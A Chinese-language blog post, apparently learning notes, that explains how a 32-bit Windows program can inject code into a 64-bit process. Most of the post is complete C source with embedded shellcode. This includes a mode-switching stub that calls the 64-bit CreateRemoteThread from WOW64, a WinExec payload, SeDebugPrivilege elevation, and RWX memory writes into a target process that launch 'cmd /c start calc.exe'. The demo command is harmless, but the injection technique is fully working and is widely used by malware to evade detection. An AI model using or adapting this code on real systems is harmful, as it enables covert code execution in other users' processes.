概述:【学习记录】实现 32 位程序对 64位程序的注入,借鉴 3gstudent 和 odzhan 的实现。

环境说明:

  • Windows
  • x64 被注入程序
  • x86 dll

0x01、前言

通常要实现远程注入都需要调用 CreateRemoteThread 函数在目标进程中创建一个远程线程,进而注入dll或是执行shellcode。如下所示为注入一个简单的dll到notepad中。

注入的常规流程为:

  1. 本地提权
  2. 获取目标进程的pid
  3. 打开目标进程
  4. 在目标进程申请内存并写入内存
  5. 通过公共函数调用创建远程线程

参考代码见文章 [【Hook】[【Hook】dll注入|DLL注入

但是,在64位操作系统上,由于32位和64位的结构不同,所以会导致注入失败。

0x02、实现思路

主要思路为:将 CreateRemoteThread 切换为64位的 CreateRemoteThread 后再创建线程,完成后再切换回32位,即可实现32位程序对64位进程的远程注入。切换的操作主要是汇编代码实现的。记录一下。

1 获取64位 CreateRemoteThread 函数地址

获取64位 CreateRemoteThread 主要由汇编代码实现。

参考博客:DLL/PIC Injection on Windows from Wow64 process | modexp

相关代码 shellcode/os/win/pi at master · odzhan/shellcode

2 注入线程并调用

参考代码: CreateRemoteThread简单应用-CSDN博客

主要逻辑为:

  1. 获取目标进程PID
  2. 需要判断系统操作数
  3. 需要判断目标进程的操作数
  4. 申请内存
  5. 获取 CreateRemoteThread 函数的地址
  6. 创建远程线程

3 判断系统操作数

#include <windows.h>
BOOL Is64BitOS()
{
    typedef VOID (WINAPI *LPFN_GetNativeSystemInfo)( __out LPSYSTEM_INFO lpSystemInfo );
    LPFN_GetNativeSystemInfo fnGetNativeSystemInfo = (LPFN_GetNativeSystemInfo)GetProcAddress( GetModuleHandle("kernel32"),"GetNativeSystemInfo");
    if(fnGetNativeSystemInfo)
    {
        SYSTEM_INFO stInfo = {0};
        fnGetNativeSystemInfo( &stInfo);
        if( stInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64
            || stInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
        {
            return TRUE;
        }
    }
    return FALSE;
}
int main()
{
    if (Is64BitOS())   
        printf("x64\n");
    else
        printf("x86\n");
    return 0;
}

4 判断目标进程是不是 64 位

#include <windows.h>
#include <TlHelp32.h>  
 
BOOL IsWow64(HANDLE hProcess)
{
    typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
    LPFN_ISWOW64PROCESS fnIsWow64Process;
    
    BOOL bIsWow64 = FALSE;
    fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(
    GetModuleHandle("kernel32"),"IsWow64Process");
 
    if (NULL != fnIsWow64Process)
    {
        fnIsWow64Process(hProcess, &bIsWow64);  
    }
    return bIsWow64;
}
 
DWORD processNameToId(LPCTSTR lpszProcessName)  
{  
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);  
    PROCESSENTRY32 pe;  
    pe.dwSize = sizeof(PROCESSENTRY32);  
    if (!Process32First(hSnapshot, &pe)) {  
        MessageBox(NULL,   
            "The frist entry of the process list has not been copyied to the buffer","Notice", MB_ICONINFORMATION | MB_OK);  
        return 0;  
    }  
    while (Process32Next(hSnapshot, &pe)) {  
        if (!strcmp(lpszProcessName, pe.szExeFile)) {  
            return pe.th32ProcessID;  
        }  
    }     
    return 0;  
}  
 
int main()
{
    BOOL           bWow64;  
    char *szExeName="calc.exe";  
    DWORD dwProcessId = processNameToId(szExeName);  
    if (dwProcessId == 0) {  
        MessageBox(NULL, "The target process have not been found !","Notice", MB_ICONINFORMATION | MB_OK);  
        return -1;  
    }  
    HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);     
    if (!hTargetProcess) {  
        MessageBox(NULL, "Open target process failed !",   
            "Notice", MB_ICONINFORMATION | MB_OK);  
        return 0;  
    }  
    bWow64 = IsWow64(hTargetProcess);
 
    if(bWow64)
        printf("32-bit process\n");
    else
        printf("64-bit process\n");
}

0x03、完整代码

 
#include <windows.h>
#include <stdio.h>
#include <TlHelp32.h>  
 
#define CREATETHREADPIC_SIZE 271
char CREATETHREADPIC[] = {
    /* 0000 */ "\x53"                             /* push rbx                    */
    /* 0001 */ "\x56"                             /* push rsi                    */
    /* 0002 */ "\x57"                             /* push rdi                    */
    /* 0003 */ "\x55"                             /* push rbp                    */
    /* 0004 */ "\xe8\x6c\x00\x00\x00"             /* call 0x75                   */
    /* 0009 */ "\x85\xc0"                         /* test eax, eax               */
    /* 000B */ "\x74\x5d"                         /* jz 0x6a                     */
    /* 000D */ "\x48\x89\xe6"                     /* mov rsi, rsp                */
    /* 0010 */ "\x48\x83\xe4\xf0"                 /* and rsp, 0xfffffffffffffff0 */
    /* 0014 */ "\x48\x83\xec\x68"                 /* sub rsp, 0x68               */
    /* 0018 */ "\xb8\xfa\x80\x39\x5e"             /* mov eax, 0x5e3980fa         */
    /* 001D */ "\xe8\x78\x00\x00\x00"             /* call 0x9a                   */
    /* 0022 */ "\x48\x89\xc3"                     /* mov rbx, rax                */
    /* 0025 */ "\x4d\x31\xc0"                     /* xor r8, r8                  */
    /* 0028 */ "\x48\x31\xc0"                     /* xor rax, rax                */
    /* 002B */ "\x48\x89\x44\x24\x50"             /* mov [rsp+0x50], rax         */
    /* 0030 */ "\x48\x89\x44\x24\x48"             /* mov [rsp+0x48], rax         */
    /* 0035 */ "\x48\x89\x44\x24\x40"             /* mov [rsp+0x40], rax         */
    /* 003A */ "\x48\x89\x44\x24\x38"             /* mov [rsp+0x38], rax         */
    /* 003F */ "\x48\x89\x44\x24\x30"             /* mov [rsp+0x30], rax         */
    /* 0044 */ "\x8b\x46\x24"                     /* mov eax, [rsi+0x24]         */
    /* 0047 */ "\x48\x89\x44\x24\x28"             /* mov [rsp+0x28], rax         */
    /* 004C */ "\x8b\x46\x20"                     /* mov eax, [rsi+0x20]         */
    /* 004F */ "\x48\x89\x44\x24\x20"             /* mov [rsp+0x20], rax         */
    /* 0054 */ "\x44\x8b\x4e\x14"                 /* mov r9d, [rsi+0x14]         */
    /* 0058 */ "\xba\x00\x00\x00\x10"             /* mov edx, 0x10000000         */
    /* 005D */ "\x8b\x4e\x30"                     /* mov ecx, [rsi+0x30]         */
    /* 0060 */ "\xff\xd3"                         /* call rbx                    */
    /* 0062 */ "\x48\x89\xf4"                     /* mov rsp, rsi                */
    /* 0065 */ "\xe8\x18\x00\x00\x00"             /* call 0x82                   */
    /* 006A */ "\x5d"                             /* pop rbp                     */
    /* 006B */ "\x5f"                             /* pop rdi                     */
    /* 006C */ "\x5e"                             /* pop rsi                     */
    /* 006D */ "\x5b"                             /* pop rbx                     */
    /* 006E */ "\xc3"                             /* ret                         */
    /* 006F */ "\x31\xc0"                         /* xor eax, eax                */
    /* 0071 */ "\x48\xf7\xd8"                     /* neg rax                     */
    /* 0074 */ "\xc3"                             /* ret                         */
    /* 0075 */ "\xe8\xf5\xff\xff\xff"             /* call 0x6f                   */
    /* 007A */ "\x74\x05"                         /* jz 0x81                     */
    /* 007C */ "\x58"                             /* pop rax                     */
    /* 007D */ "\x6a\x33"                         /* push 0x33                   */
    /* 007F */ "\x50"                             /* push rax                    */
    /* 0080 */ "\xcb"                             /* retf                        */
    /* 0081 */ "\xc3"                             /* ret                         */
    /* 0082 */ "\xe8\xe8\xff\xff\xff"             /* call 0x6f                   */
    /* 0087 */ "\x75\x10"                         /* jnz 0x99                    */
    /* 0089 */ "\x58"                             /* pop rax                     */
    /* 008A */ "\x83\xec\x08"                     /* sub esp, 0x8                */
    /* 008D */ "\x89\x04\x24"                     /* mov [rsp], eax              */
    /* 0090 */ "\xc7\x44\x24\x04\x23\x00\x00\x00" /* mov dword [rsp+0x4], 0x23   */
    /* 0098 */ "\xcb"                             /* retf                        */
    /* 0099 */ "\xc3"                             /* ret                         */
    /* 009A */ "\x56"                             /* push rsi                    */
    /* 009B */ "\x57"                             /* push rdi                    */
    /* 009C */ "\x53"                             /* push rbx                    */
    /* 009D */ "\x51"                             /* push rcx                    */
    /* 009E */ "\x49\x89\xc0"                     /* mov r8, rax                 */
    /* 00A1 */ "\x6a\x60"                         /* push 0x60                   */
    /* 00A3 */ "\x5e"                             /* pop rsi                     */
    /* 00A4 */ "\x65\x48\x8b\x06"                 /* mov rax, [gs:rsi]           */
    /* 00A8 */ "\x48\x8b\x40\x18"                 /* mov rax, [rax+0x18]         */
    /* 00AC */ "\x4c\x8b\x50\x30"                 /* mov r10, [rax+0x30]         */
    /* 00B0 */ "\x49\x8b\x6a\x10"                 /* mov rbp, [r10+0x10]         */
    /* 00B4 */ "\x48\x85\xed"                     /* test rbp, rbp               */
    /* 00B7 */ "\x89\xe8"                         /* mov eax, ebp                */
    /* 00B9 */ "\x74\x4f"                         /* jz 0x10a                    */
    /* 00BB */ "\x4d\x8b\x12"                     /* mov r10, [r10]              */
    /* 00BE */ "\x8b\x45\x3c"                     /* mov eax, [rbp+0x3c]         */
    /* 00C1 */ "\x83\xc0\x10"                     /* add eax, 0x10               */
    /* 00C4 */ "\x8b\x44\x05\x78"                 /* mov eax, [rbp+rax+0x78]     */
    /* 00C8 */ "\x48\x8d\x74\x05\x18"             /* lea rsi, [rbp+rax+0x18]     */
    /* 00CD */ "\xad"                             /* lodsd                       */
    /* 00CE */ "\x91"                             /* xchg ecx, eax               */
    /* 00CF */ "\x67\xe3\xde"                     /* jecxz 0xb0                  */
    /* 00D2 */ "\xad"                             /* lodsd                       */
    /* 00D3 */ "\x4c\x8d\x5c\x05\x00"             /* lea r11, [rbp+rax]          */
    /* 00D8 */ "\xad"                             /* lodsd                       */
    /* 00D9 */ "\x48\x8d\x7c\x05\x00"             /* lea rdi, [rbp+rax]          */
    /* 00DE */ "\xad"                             /* lodsd                       */
    /* 00DF */ "\x48\x8d\x5c\x05\x00"             /* lea rbx, [rbp+rax]          */
    /* 00E4 */ "\x8b\x74\x8f\xfc"                 /* mov esi, [rdi+rcx*4-0x4]    */
    /* 00E8 */ "\x48\x01\xee"                     /* add rsi, rbp                */
    /* 00EB */ "\x31\xc0"                         /* xor eax, eax                */
    /* 00ED */ "\x99"                             /* cdq                         */
    /* 00EE */ "\xac"                             /* lodsb                       */
    /* 00EF */ "\x01\xc2"                         /* add edx, eax                */
    /* 00F1 */ "\xc1\xc2\x05"                     /* rol edx, 0x5                */
    /* 00F4 */ "\xff\xc8"                         /* dec eax                     */
    /* 00F6 */ "\x79\xf6"                         /* jns 0xee                    */
    /* 00F8 */ "\x44\x39\xc2"                     /* cmp edx, r8d                */
    /* 00FB */ "\xe0\xe7"                         /* loopne 0xe4                 */
    /* 00FD */ "\x75\xb1"                         /* jnz 0xb0                    */
    /* 00FF */ "\x0f\xb7\x14\x4b"                 /* movzx edx, word [rbx+rcx*2] */
    /* 0103 */ "\x41\x8b\x04\x93"                 /* mov eax, [r11+rdx*4]        */
    /* 0107 */ "\x48\x01\xe8"                     /* add rax, rbp                */
    /* 010A */ "\x59"                             /* pop rcx                     */
    /* 010B */ "\x5b"                             /* pop rbx                     */
    /* 010C */ "\x5f"                             /* pop rdi                     */
    /* 010D */ "\x5e"                             /* pop rsi                     */
    /* 010E */ "\xc3"                             /* ret                         */
};
 
#define EXECPIC_SIZE 123
char EXECPIC[] = {
    /* 0000 */ "\x53"                         /* push rbx                        */
    /* 0001 */ "\x56"                         /* push rsi                        */
    /* 0002 */ "\x57"                         /* push rdi                        */
    /* 0003 */ "\x55"                         /* push rbp                        */
    /* 0004 */ "\x83\xec\x28"                 /* sub esp, 0x28                   */
    /* 0007 */ "\x31\xc0"                     /* xor eax, eax                    */
    /* 0009 */ "\x40\x92"                     /* xchg edx, eax                   */
    /* 000B */ "\x74\x1a"                     /* jz 0x27                         */
    /* 000D */ "\x8b\x4c\x24\x3c"             /* mov ecx, [rsp+0x3c]             */
    /* 0011 */ "\x50"                         /* push rax                        */
    /* 0012 */ "\x51"                         /* push rcx                        */
    /* 0013 */ "\x64\x8b\x72\x2f"             /* mov esi, [fs:rdx+0x2f]          */
    /* 0017 */ "\x8b\x76\x0c"                 /* mov esi, [rsi+0xc]              */
    /* 001A */ "\x8b\x76\x0c"                 /* mov esi, [rsi+0xc]              */
    /* 001D */ "\xad"                         /* lodsd                           */
    /* 001E */ "\x8b\x30"                     /* mov esi, [rax]                  */
    /* 0020 */ "\x8b\x7e\x18"                 /* mov edi, [rsi+0x18]             */
    /* 0023 */ "\xb2\x50"                     /* mov dl, 0x50                    */
    /* 0025 */ "\xeb\x17"                     /* jmp 0x3e                        */
    /* 0027 */ "\xb2\x60"                     /* mov dl, 0x60                    */
    /* 0029 */ "\x65\x48\x8b\x32"             /* mov rsi, [gs:rdx]               */
    /* 002D */ "\x48\x8b\x76\x18"             /* mov rsi, [rsi+0x18]             */
    /* 0031 */ "\x48\x8b\x76\x10"             /* mov rsi, [rsi+0x10]             */
    /* 0035 */ "\x48\xad"                     /* lodsq                           */
    /* 0037 */ "\x48\x8b\x30"                 /* mov rsi, [rax]                  */
    /* 003A */ "\x48\x8b\x7e\x30"             /* mov rdi, [rsi+0x30]             */
    /* 003E */ "\x03\x57\x3c"                 /* add edx, [rdi+0x3c]             */
    /* 0041 */ "\x8b\x5c\x17\x28"             /* mov ebx, [rdi+rdx+0x28]         */
    /* 0045 */ "\x8b\x74\x1f\x20"             /* mov esi, [rdi+rbx+0x20]         */
    /* 0049 */ "\x48\x01\xfe"                 /* add rsi, rdi                    */
    /* 004C */ "\x8b\x54\x1f\x24"             /* mov edx, [rdi+rbx+0x24]         */
    /* 0050 */ "\x0f\xb7\x2c\x17"             /* movzx ebp, word [rdi+rdx]       */
    /* 0054 */ "\x48\x8d\x52\x02"             /* lea rdx, [rdx+0x2]              */
    /* 0058 */ "\xad"                         /* lodsd                           */
    /* 0059 */ "\x81\x3c\x07\x57\x69\x6e\x45" /* cmp dword [rdi+rax], 0x456e6957 */
    /* 0060 */ "\x75\xee"                     /* jnz 0x50                        */
    /* 0062 */ "\x8b\x74\x1f\x1c"             /* mov esi, [rdi+rbx+0x1c]         */
    /* 0066 */ "\x48\x01\xfe"                 /* add rsi, rdi                    */
    /* 0069 */ "\x8b\x34\xae"                 /* mov esi, [rsi+rbp*4]            */
    /* 006C */ "\x48\x01\xf7"                 /* add rdi, rsi                    */
    /* 006F */ "\x99"                         /* cdq                             */
    /* 0070 */ "\xff\xd7"                     /* call rdi                        */
    /* 0072 */ "\x48\x83\xc4\x28"             /* add rsp, 0x28                   */
    /* 0076 */ "\x5d"                         /* pop rbp                         */
    /* 0077 */ "\x5f"                         /* pop rdi                         */
    /* 0078 */ "\x5e"                         /* pop rsi                         */
    /* 0079 */ "\x5b"                         /* pop rbx                         */
    /* 007A */ "\xc3"                         /* ret                             */
};
 
typedef VOID(*pCreateRemoteThread64) (HANDLE hProcess,
    LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize,
    LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter,
    DWORD dwCreationFlags, LPDWORD lpThreadId, LPHANDLE hThread);
typedef struct _RemoteParam {
    char szMsg[12];
    DWORD dwMessageBox;
} RemoteParam, * PRemoteParam;
typedef int(__stdcall* PFN_MESSAGEBOX)(HWND, LPCTSTR, LPCTSTR, DWORD);
 
BOOL IsWow64(HANDLE hProcess)
{
    typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
    LPFN_ISWOW64PROCESS fnIsWow64Process;
 
    BOOL bIsWow64 = FALSE;
    fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(
        GetModuleHandle("kernel32"), "IsWow64Process");
 
    if (NULL != fnIsWow64Process)
    {
        fnIsWow64Process(hProcess, &bIsWow64);
    }
    return bIsWow64;
}
 
DWORD processNameToId(LPCTSTR lpszProcessName)
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(PROCESSENTRY32);
    if (!Process32First(hSnapshot, &pe)) {
        MessageBox(NULL, "The frist entry of the process list has not been copyied to the buffer", "Notice", MB_ICONINFORMATION | MB_OK);
        return 0;
    }
    while (Process32Next(hSnapshot, &pe)) {
        if (!strcmp(lpszProcessName, pe.szExeFile)) {
            return pe.th32ProcessID;
        }
    }
 
    return 0;
}
 
BOOL Is64BitOS()
{
    typedef VOID(WINAPI* LPFN_GetNativeSystemInfo)(__out LPSYSTEM_INFO lpSystemInfo);
    LPFN_GetNativeSystemInfo fnGetNativeSystemInfo = (LPFN_GetNativeSystemInfo)GetProcAddress(GetModuleHandle("kernel32"), "GetNativeSystemInfo");
    if (fnGetNativeSystemInfo)
    {
        SYSTEM_INFO stInfo = { 0 };
        fnGetNativeSystemInfo(&stInfo);
        if (stInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64
            || stInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
        {
            return TRUE;
        }
    }
    return FALSE;
}
 
LPVOID init_func(char* asmcode, DWORD len)
{
    LPVOID sc = NULL;
    // allocate write/executable memory for code
    sc = VirtualAlloc(0, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (sc != NULL) {
        // copy code
        memcpy(sc, asmcode, len);
    }
    else {
        MessageBox(NULL, "VirtualAlloc()", "Notice", MB_ICONINFORMATION | MB_OK);
    }
    return sc;
}
 
DWORD __stdcall threadProc(LPVOID lParam)
{
    RemoteParam* pRP = (RemoteParam*)lParam;
    PFN_MESSAGEBOX pfnMessageBox;
    pfnMessageBox = (PFN_MESSAGEBOX)pRP->dwMessageBox;
    pfnMessageBox(NULL, pRP->szMsg, pRP->szMsg, 0);
    return 0;
}
 
bool enableDebugPriv()
{
    HANDLE hToken;
    LUID sedebugnameValue;
    TOKEN_PRIVILEGES tkp;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
        return false;
    }
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {
        CloseHandle(hToken);
        return false;
    }
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = sedebugnameValue;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {
        CloseHandle(hToken);
        return false;
    }
    return true;
}
 
void free_func(LPVOID func) {
    if (func != NULL) {
        VirtualFree(func, 0, MEM_RELEASE);
    }
}
 
int main()
{
 
    BOOL           bWow64;
    char* szExeName = (char*)"calc.exe";
    DWORD dwProcessId = processNameToId(szExeName);
    if (dwProcessId == 0) {
        MessageBox(NULL, "The target process have not been found !", "Notice", MB_ICONINFORMATION | MB_OK);
        return -1;
    }
    HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (!hTargetProcess) {
        MessageBox(NULL, "Open target process failed !", "Notice", MB_ICONINFORMATION | MB_OK);
        return 0;
    }
    bWow64 = IsWow64(hTargetProcess);
    if (bWow64 || !Is64BitOS())
    {
        printf("32-bit process\n");
        const DWORD dwThreadSize = 4096;
        DWORD dwWriteBytes;
        enableDebugPriv();
        void* pRemoteThread = VirtualAllocEx(hTargetProcess, 0, dwThreadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (!pRemoteThread) {
            MessageBox(NULL, "Alloc memory in target process failed !", "notice", MB_ICONINFORMATION | MB_OK);
            return 0;
        }
        if (!WriteProcessMemory(hTargetProcess, pRemoteThread, &threadProc, dwThreadSize, 0)) {
            MessageBox(NULL, "Write data to target process failed !", "Notice", MB_ICONINFORMATION | MB_OK);
            return 0;
        }
        RemoteParam remoteData;
        ZeroMemory(&remoteData, sizeof(RemoteParam));
 
        HINSTANCE hUser32 = LoadLibrary("User32.dll");
        remoteData.dwMessageBox = (DWORD)GetProcAddress(hUser32, "MessageBoxA");
        strcat_s(remoteData.szMsg, "Hello\0");
 
        RemoteParam* pRemoteParam = (RemoteParam*)VirtualAllocEx(
            hTargetProcess, 0, sizeof(RemoteParam), MEM_COMMIT, PAGE_READWRITE);
 
        if (!pRemoteParam) {
            MessageBox(NULL, "Alloc memory failed !", "Notice", MB_ICONINFORMATION | MB_OK);
            return 0;
        }
        if (!WriteProcessMemory(hTargetProcess, pRemoteParam, &remoteData, sizeof(remoteData), 0)) {
            MessageBox(NULL, "Write data to target process failed !", "Notice", MB_ICONINFORMATION | MB_OK);
            return 0;
        }
 
        HANDLE hRemoteThread = CreateRemoteThread(
            hTargetProcess, NULL, 0, (DWORD(__stdcall*)(void*))pRemoteThread,
            pRemoteParam, 0, &dwWriteBytes);
        if (!hRemoteThread) {
            MessageBox(NULL, "Create remote thread failed !", "Notice", MB_ICONINFORMATION | MB_OK);
            return 0;
        }
        CloseHandle(hRemoteThread);
        FreeLibrary(hUser32);
    }
    else
    {
        printf("64-bit process\n");
        char* cmd = (char*)"cmd /c start calc.exe";
        int CmdSize = strlen(cmd);
 
        HANDLE                hProc, hThread;
        BOOL                  bStatus = FALSE;
        LPVOID                pCode = NULL, pData = NULL;
        SIZE_T                written;
        DWORD                 idx, ec;
        pCreateRemoteThread64 CreateRemoteThread64 = NULL;
 
        // try open the process
        printf("  [ opening process id %lu\n", dwProcessId);
        hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
        if (hProc != NULL)
        {
            // allocate memory there
            printf("  [ allocating %lu bytes of XRW memory in process for code\n", EXECPIC_SIZE);
            pCode = VirtualAllocEx(hProc, 0, EXECPIC_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            if (pCode != NULL)
            {
                // write the code
                printf("  [ writing %lu bytes of code to 0x%p\n", EXECPIC_SIZE, pCode);
                bStatus = WriteProcessMemory(hProc, pCode, EXECPIC, EXECPIC_SIZE, &written);
                if (bStatus) {
                    if (cmd != NULL) {
                        printf("  [ allocating %lu bytes of RW memory in process for parameter\n", CmdSize);
                        pData = VirtualAllocEx(hProc, 0, CmdSize + 1, MEM_COMMIT, PAGE_READWRITE);
                        if (pData != NULL)
                        {
                            printf("  [ writing %lu bytes of data to 0x%p\n", CmdSize, pData);
                            bStatus = WriteProcessMemory(hProc, pData, cmd, CmdSize, &written);
                            if (!bStatus) {
                                printf("  [ warning: unable to allocate write parameters to process...");
                            }
                        }
                    }
                    printf("  [ creating thread\n");
                    hThread = NULL;
                    CreateRemoteThread64 = (pCreateRemoteThread64)
                        init_func(CREATETHREADPIC, CREATETHREADPIC_SIZE);
 
                    CreateRemoteThread64(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pCode, pData, 0, 0, &hThread);
 
                    if (hThread != NULL)
                    {
                        printf("  [ waiting for thread %lx to terminate\n", (DWORD)hThread);
                        idx = WaitForSingleObject(hThread, INFINITE);
                        if (idx != 0) {
                            MessageBox(NULL, "WaitForSingleObject", "Notice", MB_ICONINFORMATION | MB_OK);
                        }
                        ec = 0;
                        if (GetExitCodeThread(hThread, &ec)) {
                            printf("  [ exit code was %lu (%08lX)", ec, ec);
                        }
                        CloseHandle(hThread);
                    }
                    else {
                        MessageBox(NULL, "CreateRemoteThread", "Notice", MB_ICONINFORMATION | MB_OK);
                    }
                }
                if (idx == 0) {
                    VirtualFreeEx(hProc, pCode, 0, MEM_RELEASE);
                    if (pData != NULL) {
                        VirtualFreeEx(hProc, pData, 0, MEM_RELEASE);
                    }
                }
            }
            else {
                MessageBox(NULL, "VirtualFreeEx()", "Notice", MB_ICONINFORMATION | MB_OK);
            }
            CloseHandle(hProc);
        }
        else {
            MessageBox(NULL, "OpenProcess", "Notice", MB_ICONINFORMATION | MB_OK);
        }
        if (CreateRemoteThread64 != NULL) free_func(CreateRemoteThread64);
        return bStatus;
    }
}